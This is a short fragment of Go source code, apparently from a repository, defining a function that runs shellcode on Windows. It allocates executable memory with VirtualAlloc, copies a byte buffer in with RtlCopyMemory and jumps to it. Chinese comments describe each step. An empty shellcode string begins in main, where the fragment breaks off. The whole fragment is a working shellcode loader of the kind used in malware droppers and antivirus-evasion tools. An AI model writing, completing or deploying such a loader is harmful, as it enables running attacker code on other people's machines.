| 88 | } |
| 89 | |
| 90 | func runCode(code []byte) { |
| 91 | // add |
| 92 | VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc") |
| 93 | RtlCopyMemory := syscall.NewLazyDLL("ntdll.dll").NewProc("RtlCopyMemory") |
| 94 | |
| 95 | //调用VirtualAlloc为shellcode申请一块内存 |
| 96 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(code)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) |
| 97 | if addr == 0 { |
| 98 | checkErr(err) |
| 99 | } |
| 100 | //调用RtlCopyMemory来将shellcode加载进内存当中 |
| 101 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&code[0])), uintptr(len(code))) |
| 102 | checkErr(err) |
| 103 | //syscall来运行shellcode |
| 104 | syscall.Syscall(addr, 0, 0, 0, 0) |
| 105 | } |
| 106 | func main() { |
| 107 | |
| 108 | shellcode := "" |